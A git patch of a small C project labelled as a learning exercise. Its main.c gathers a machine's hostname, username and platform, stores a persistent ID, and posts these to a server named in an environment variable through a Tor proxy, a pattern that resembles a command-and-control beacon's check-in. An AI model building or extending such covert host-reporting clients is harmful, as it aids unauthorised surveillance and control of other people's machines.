From 74029f937d414b57333d827637e8100ee16035b3 Mon Sep 17 00:00:00 2001 From: pupuupup Date: Sat, 3 Apr 2021 00:07:10 +0700 Subject: [PATCH] first commit --- .gitignore | 2 + README.md | 3 + apic | Bin 0 -> 51985 bytes makefile | 19 ++++++ src/main.c | 170 +++++++++++++++++++++++++++++++++++++++++++++++++++++ src/main.o | Bin 0 -> 6472 bytes 6 files changed, 194 insertions(+) create mode 100644 .gitignore create mode 100644 README.md create mode 100755 apic create mode 100644 makefile create mode 100644 src/main.c create mode 100644 src/main.o diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c5a3986 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +save +.env diff --git a/README.md b/README.md new file mode 100644 index 0000000..a47063b --- /dev/null +++ b/README.md @@ -0,0 +1,3 @@ +# apic + +Trying to learn c diff --git a/apic b/apic new file mode 100755 index 0000000000000000000000000000000000000000..18092942525dff07aa061cb33b4261b6854294e3 GIT binary patch literal 51985 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 SQlU2%Z+yA#fsT2H9{(qvl{v5g literal 0 HcmV?d00001 diff --git a/makefile b/makefile new file mode 100644 index 0000000..5b4afaa --- /dev/null +++ b/makefile @@ -0,0 +1,19 @@ +## Simple C Makefile + +SRC = ./src/main.c +NAME = apic +CC = gcc +RM = rm -f +OBJ = $(SRC:.c=.o) +CFLAGS = -O2 -W -Wall -Wextra -Werror +CFLAGS += -I./hds/ +all : $(NAME) +$(NAME) : $(OBJ) + $(CC) -o $(NAME) $(OBJ) -lcurl +clean : + $(RM) $(OBJ) +fclean : clean + $(RM) $(NAME) +re : fclean all +.PHONY : all clean fclean re + diff --git a/src/main.c b/src/main.c new file mode 100644 index 0000000..8aa250f --- /dev/null +++ b/src/main.c @@ -0,0 +1,170 @@ +#include +#include +#include +#include +#include +#include + +#define BUFFER_SIZE 256 + +#define SAVE_FILE "./save" + +struct url_data { + size_t size; + char* data; +}; +char *UID; +char *PLATFORM; +char *HOSTNAME; +char *USERNAME; +const char *URL; +const char *URL_TOR; + +size_t write_data(void *ptr, size_t size, size_t nmemb, struct url_data *data) { + size_t index = data->size; + size_t n = (size * nmemb); + char* tmp; + data->size += (size * nmemb); + fprintf(stderr, "data at %p size=%ld nmemb=%ld\n", ptr, size, nmemb); + tmp = realloc(data->data, data->size + 1); /* +1 for '\0' */ + if(tmp) { + data->data = tmp; + } else { + if(data->data) { + free(data->data); + } + fprintf(stderr, "Failed to allocate memory.\n"); + return 0; + } + memcpy((data->data + index), ptr, n); + data->data[data->size] = '\0'; + return size * nmemb; +} + +char* getUniqueID() +{ + char *data = malloc(BUFFER_SIZE); + FILE *f; + f = fopen(SAVE_FILE,"a+"); + if(f != NULL) fseek(f, 0, SEEK_END); + if(!(UID!= NULL && UID[0] == '\0')) return UID; + if(ftell(f) == 0) + { + fclose(f); + srand(time(0)); + int random = rand(); + f = fopen(SAVE_FILE,"w"); + fprintf(f,"%s_%d\n",USERNAME,random); + sprintf(data,"%s_%d",USERNAME,random); + fclose(f); + strcpy(UID,data); + return data; + } else { + fclose(f); + f = fopen(SAVE_FILE,"r"); + fscanf(f,"%s",data); + fclose(f); + strcpy(UID,data); + return data; + } +} + +char* getRequest(char *path) +{ + CURL *curl; + CURLcode res; + struct url_data data; + data.size = 0; + data.data = malloc(4096); + if(data.data == NULL) { + fprintf(stderr, "Failed to allocate memory.\n"); + return NULL; + } + curl = curl_easy_init(); + if(curl) { + char url[BUFFER_SIZE]; + strcpy(url, URL); + strcat(url, path); + curl_easy_setopt(curl, CURLOPT_URL, url); + curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); + res = curl_easy_perform(curl); + if(res != CURLE_OK) + fprintf(stderr, "curl_easy_perform() failed: %s\n", + curl_easy_strerror(res)); + curl_easy_cleanup(curl); + } + return data.data; +} + +char* postRequest(char *path, char *post_data) +{ + CURL *curl; + CURLcode res; + struct url_data data; + data.size = 0; + data.data = malloc(4096); + if(data.data == NULL) { + fprintf(stderr, "Failed to allocate memory.\n"); + return NULL; + } + curl = curl_easy_init(); + if(curl) { + char url[BUFFER_SIZE]; + strcpy(url, URL); + strcat(url, path); + curl_easy_setopt(curl, CURLOPT_URL, url); + curl_easy_setopt(curl, CURLOPT_PROXY, URL_TOR); + curl_easy_setopt(curl, CURLOPT_POSTFIELDS, post_data); + curl_easy_setopt(curl, CURLOPT_WRITEFUNCTION, write_data); + curl_easy_setopt(curl, CURLOPT_WRITEDATA, &data); + res = curl_easy_perform(curl); + if(res != CURLE_OK) + fprintf(stderr, "curl_easy_perform() failed: %s\n", + curl_easy_strerror(res)); + curl_easy_cleanup(curl); + } + return data.data; +} + +char* sayhello() +{ + char *data = malloc(BUFFER_SIZE); + char *path = malloc(BUFFER_SIZE); + char *post_data = malloc(BUFFER_SIZE); + sprintf(path, "/api/%s/hello", getUniqueID()); + sprintf(post_data, "platform=%s&hostname=%s&username=%s", + PLATFORM,HOSTNAME,USERNAME); + data = postRequest(path, post_data); + return data; +} + +void setup() +{ + UID = malloc(BUFFER_SIZE); + PLATFORM = malloc(BUFFER_SIZE); + HOSTNAME = malloc(BUFFER_SIZE); + USERNAME = malloc(BUFFER_SIZE); + URL = getenv("URL"); + URL_TOR = getenv("URL_TOR"); + #if __APPLE__ + PLATFORM = "MAC OS"; + #elif _WIN32 + PLATFORM = "WINDOWS"; + #elif __LINUX__ + PLATFORM = "LINUX"; + #else + PLATFORM = "UNKNOWN"; + #endif + gethostname(HOSTNAME, BUFFER_SIZE); + getlogin_r(USERNAME, BUFFER_SIZE); +} + +int main() +{ + setup(); + char *data = malloc(BUFFER_SIZE); + data = sayhello(); + printf("%s", data); +} diff --git a/src/main.o b/src/main.o new file mode 100644 index 0000000000000000000000000000000000000000..271d57fb422d6c33161f1d7d35506605d2041c1a GIT binary patch literal 6472 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 alX_N)2P!pGU^q}QY}72n{)z!V{{I2kkM~Oe literal 0 HcmV?d00001